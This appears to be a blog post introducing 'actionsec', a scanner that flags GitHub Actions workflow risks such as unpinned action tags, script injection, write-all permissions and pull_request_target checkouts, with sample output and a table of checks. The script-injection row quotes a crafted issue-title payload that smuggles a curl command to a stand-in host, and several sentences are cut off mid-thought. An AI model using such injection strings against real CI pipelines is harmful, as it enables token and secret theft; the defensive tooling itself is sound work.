Your CI workflow is the softest target in your repo. It runs automatically, it
has a GITHUB_TOKEN
that can push commits, and it can read your secrets. The
supply-chain attacks of 2025 β reviewdog, tj-actions/changed-files
β all came
in through the same unlocked door: a workflow that trusted a mutable action tag, so when the upstream tag got repointed at malicious code, every consumer
The uncomfortable stat: 71% of repositories never pin their actions to a commit SHA.
@v4
is not a version β it's aI wanted a five-second check for this and the other top footguns, with nothing to
install and nothing to configure. So I built actionsec.
npx actionsec
.github/workflows/ci.yml
β critical L12 pull-request-target-checkout pull_request_target checks out PR head code β untrusted code runs with a write token
β critical L16 script-injection untrusted github.event.pull_request.title in a run step
β high L5 broad-permissions permissions: write-all gives the token full read/write
β high L13 unpinned-action some-marketplace/deploy-action@main is a mutable branch β pin to a SHA
β medium L10 unpinned-action actions/checkout@v4 is a mutable tag β pin to a SHA
β 5 issue(s) in 1 of 1 file(s) β 2 critical, 2 high, 1 medium
| Check | Why it matters |
|---|---|
| unpinned-action | |
@v4 / @main is mutable. If the upstream tag is repointed (compromise or maintainer error), you run new code with your token. Pin to a 40-char SHA. |
|
| script-injection | |
${{ github.event.issue.title }} in a run: step is substituted into the shell before it runs β a crafted issue title like `"; curl evil.sh \ |
|
| broad-permissions | |
{% raw %}permissions: write-all hands the token the whole repo. One injected command and it's pushing to main . |
|
| missing-permissions | |
No permissions: block means the repo default β often more than the job needs. |
|
| pull-request-target-checkout | |
pull_request_target runs with a privileged token and secrets; checking out the PR's code then executes a stranger's code with them. |
Workflows are YAML, and here's the thing β neither Node nor Python ships a YAML parser in the standard library. Pulling one in would mean the tool itself has a
So actionsec doesn't parse YAML into a tree at all. It scans line by line with
light block-awareness. That sounds crude, but it turns out every one of these
checks is textually distinctive β a uses:
line, a ${{ }}
expression inside
a run:
block β so a careful line scanner catches them without ever needing to
understand the document structure. The payoff: it installs in one step, depends
on nothing, and runs in milliseconds. (It even distinguishes a third-party action
on a tag, high
, from a GitHub-owned actions/*
on a tag, medium
.)
It is not trying to replace actionlint
(YAML/syntax validation) or zizmor (deep
dataflow analysis). It's the fast, zero-config first pass that fits in a pre-commit
hook or a one-line CI gate.
- run: npx actionsec --min-severity high
Exit 0
clean, 1
issues found, 2
error. --format json
for tooling.
npx actionsec # Node β zero deps
pip install actionsec # Python β pure stdlib, works on any repo
Both produce byte-for-byte identical output.
Point it at a repo you maintain β npx actionsec path/to/repo
β and tell me what
it finds. I'm especially curious how many @v4
s are hiding in workflows people
think of as "official and therefore safe."
When you write a workflow, do you pin actions to a SHA, or is @v4
good enough for
your threat model?